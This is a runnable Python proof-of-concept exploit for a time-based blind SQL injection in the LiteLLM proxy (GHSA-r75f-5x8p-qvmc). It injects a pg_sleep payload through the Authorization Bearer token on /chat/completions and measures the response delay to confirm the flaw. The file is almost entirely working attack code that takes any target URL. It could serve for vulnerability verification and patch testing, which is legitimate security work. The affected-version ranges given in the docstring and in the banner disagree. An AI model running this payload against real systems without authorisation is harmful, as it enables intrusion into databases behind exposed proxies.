#!/usr/bin/env python3
"""
LiteLLM Proxy SQL Injection PoC (GHSA-r75f-5x8p-qvmc)

Target: litellm <= v1.83.3 (before fix commit 4dc416ee74)
Attack Path: error-handling callback → get_key_object(raw_token) → SQL injection

Usage:
    python poc_litellm_sqli.py --target http://192.168.1.36:4000
    python poc_litellm_sqli.py --target http://192.168.1.36:4000 --delay 5
"""

import argparse
import sys
import time

import requests

BANNER = r"""
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝
"""

C = {
    "RED": "\033[91m", "GREEN": "\033[92m", "YELLOW": "\033[93m",
    "BLUE": "\033[94m", "CYAN": "\033[96m", "BOLD": "\033[1m", "END": "\033[0m",
}


def make_payload(delay: int) -> str:
    """pg_sleep returns void, wrap in subquery to avoid boolean type error."""
    return f"' OR (SELECT 1 FROM (SELECT pg_sleep({delay})) t) IS NOT NULL--"


def send(session, target, token, timeout=10):
    start = time.time()
    try:
        session.post(
            f"{target}/chat/completions",
            headers={"Authorization": f"Bearer {token}"},
            json={"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}],
                  "max_tokens": 1},
            timeout=timeout,
        )
    except:
        pass
    return time.time() - start


def main():
    parser = argparse.ArgumentParser(description="LiteLLM Proxy SQL Injection PoC (GHSA-r75f-5x8p-qvmc)")
    parser.add_argument("--target", "-t", required=True, help="Target URL")
    parser.add_argument("--delay", "-d", type=int, default=5, help="pg_sleep delay in seconds (default: 5)")
    parser.add_argument("--verbose", "-v", action="store_true")
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    delay = args.delay
    session = requests.Session()
    session.headers.update({"Content-Type": "application/json"})

    # Check target alive
    print(f"{C['BLUE']}[*]{C['END']} Checking target: {target}")
    try:
        resp = session.get(f"{target}/health", timeout=5)
        print(f"{C['GREEN']}[+]{C['END']} Target alive (status {resp.status_code})")
    except Exception as e:
        print(f"{C['RED']}[-]{C['END']} Cannot connect: {e}")
        sys.exit(1)

    # Baseline with normal sk- token
    print(f"\n{C['BLUE']}[*]{C['END']} Measuring baseline (3 requests)...")
    baseline_times = [send(session, target, "sk-baseline-timing-test", timeout=10) for _ in range(3)]
    baseline = sum(baseline_times) / len(baseline_times)
    if args.verbose:
        for i, t in enumerate(baseline_times):
            print(f"    baseline {i+1}: {t:.3f}s")
    print(f"  Baseline avg: {baseline:.3f}s")

    # Control: non-sk- token without pg_sleep
    print(f"\n{C['BLUE']}[*]{C['END']} Control: non-sk- token without pg_sleep...")
    ctrl = send(session, target, "AAAA-control-no-sleep-XXXXXXXXXXX", timeout=10)
    print(f"  Control: {ctrl:.3f}s")

    # Time-based test
    threshold = baseline + delay * 0.6
    print(f"\n{C['BOLD']}{C['CYAN']}{'='*55}")
    print(f"  Time-based Blind SQL Injection (pg_sleep={delay}s)")
    print(f"  Threshold: {threshold:.3f}s (baseline + {delay}×0.6)")
    print(f"{'='*55}{C['END']}")

    payload = make_payload(delay)
    print(f"  Payload: {payload}")

    test_elapsed = send(session, target, payload, timeout=delay + 15)
    print(f"  Response: {test_elapsed:.3f}s")

    if test_elapsed >= threshold:
        print(f"\n{C['GREEN']}{C['BOLD']}[+] VULNERABLE! pg_sleep({delay}) confirmed{C['END']}")
        print(f"  Delay vs baseline: +{test_elapsed - baseline:.1f}s")
        print(f"  Attack: assert fail → failure_hook → get_key_object(raw) → SQLi")
        print(f"  Fix: upgrade to litellm >=1.83.7")
        sys.exit(0)
    else:
        print(f"\n{C['YELLOW']}[!] No delay detected{C['END']}")
        print(f"  Response {test_elapsed:.3f}s < threshold {threshold:.3f}s")
        print(f"  Possible: patched target, WAF, or statement_timeout")
        sys.exit(1)


if __name__ == "__main__":
    main()